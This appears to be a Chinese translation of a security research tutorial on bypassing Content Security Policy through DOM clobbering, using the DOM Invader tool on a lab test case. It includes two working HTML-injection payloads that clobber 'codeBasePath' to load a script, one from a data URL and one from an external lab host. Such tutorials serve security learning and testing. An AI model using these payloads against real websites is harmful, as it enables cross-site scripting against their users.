通过DOM破坏绕过CSP:实战技巧与工具应用

本文详细介绍了如何利用DOM破坏技术绕过内容安全策略(CSP),包括漏洞识别、利用条件及实战步骤,并展示了使用DOM Invader工具进行检测和攻击构建的方法。

通过DOM破坏绕过CSP

您可能发现了HTML注入漏洞,但不幸的是,该网站受到内容安全策略(CSP)的保护。并非一切希望都已破灭,通过DOM破坏技术,您有可能绕过CSP,而现在可以使用DOM Invader来检测这种漏洞!本文将向您展示具体方法。

我们的测试案例基于一个漏洞赏金平台,因此您很可能会在真实环境中遇到类似的代码。如果您不熟悉DOM破坏,请前往我们的学院学习此类攻击并完成实验。

利用所需条件

要利用DOM破坏,您需要三个要素:

  1. HTML注入
  2. 一个小工具——一个或多个属性名称
  3. 一个接收点(sink)

为了绕过CSP,您的小工具需要最终进入策略允许的接收点。这可能是一个eval函数。更现实的情况是,它可能是一个受nonce和CSP中strict-dynamic源表达式保护的脚本。当使用strict-dynamic时,受nonce保护的脚本被允许生成其他脚本。我们可以利用这一点来引入自己的脚本。

识别DOM破坏漏洞

首先,我们需要在Burp浏览器中加载测试案例。访问以下链接:[受CSP保护的DOM破坏测试案例](DOM clobbering test case protected by CSP)。

然后,启用DOM Invader: 启用DOM Invader后,需要开启DOM破坏检测。您会注意到DOM Invader显示警告消息,因为DOM破坏攻击可能导致网站崩溃。因此,建议仅在测试特定页面时启用DOM破坏功能。

接下来,重新加载测试案例。如果一切顺利,您将看到DOM Invader发现了一个名为script.src的接收点。您会注意到接收点值包含字符串domclobbering,后跟两个属性名称和一个标识符(canary)。这是DOM Invader用来发现DOM破坏漏洞的方法,因为多个接收点和值可能包含被破坏的属性。

绕过CSP以利用漏洞

我们已经发现了一个漏洞,现在需要构建DOM破坏攻击。记住,我们还需要HTML注入。幸运的是,我们的测试案例存在这样的漏洞。

我们可以尝试注入脚本。注意,CSP阻止了执行。然后,我们可以利用DOM Invader报告的信息构建攻击,尝试绕过CSP。根据上述截图中的接收点值,看起来我们需要属性ehy和codeBasePath。注意,接收点值还包含指向JavaScript文件的路径/utils.js。在利用中,我们需要用单行注释来处理这一点。

现在需要制作利用代码。如果您需要复习如何操作,请访问我们学院的学习材料。我们知道小工具最终进入script.src属性。如果点击堆栈跟踪并查看控制台,我们将看到接收点发生的具体行。创建利用代码涉及注入两个锚点标签来破坏这些属性:

1
<a id=ehy><a id=ehy name=codeBasePath href=data:,alert(1)//>

查看解决方案

在示例中,我们使用了数据URL,值得注意的是,这并不是必需的,只是更优雅。您可以使用HTTP URL,效果同样好。注意,我使用问号而不是单行注释,将utils文件名移动到查询字符串中。

1
<a id=ehy><a id=ehy name=codeBasePath href="//subdomain1.portswigger-labs.net/xss/xss.js?">

HTTP示例

相关标签

  • DOM破坏
  • DOM
  • XSS
  • CSP

返回所有文章

本页面需要JavaScript以获得增强的用户体验。

相关研究

  • 使用Cookie三明治技术窃取HttpOnly Cookie(2025年1月22日)
  • 使用幻影$Version Cookie绕过WAF(2024年12月4日)
  • 在URL凭据中隐藏Payload(2024年10月23日)
  • 使用表单劫持绕过CSP(2024年3月5日)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计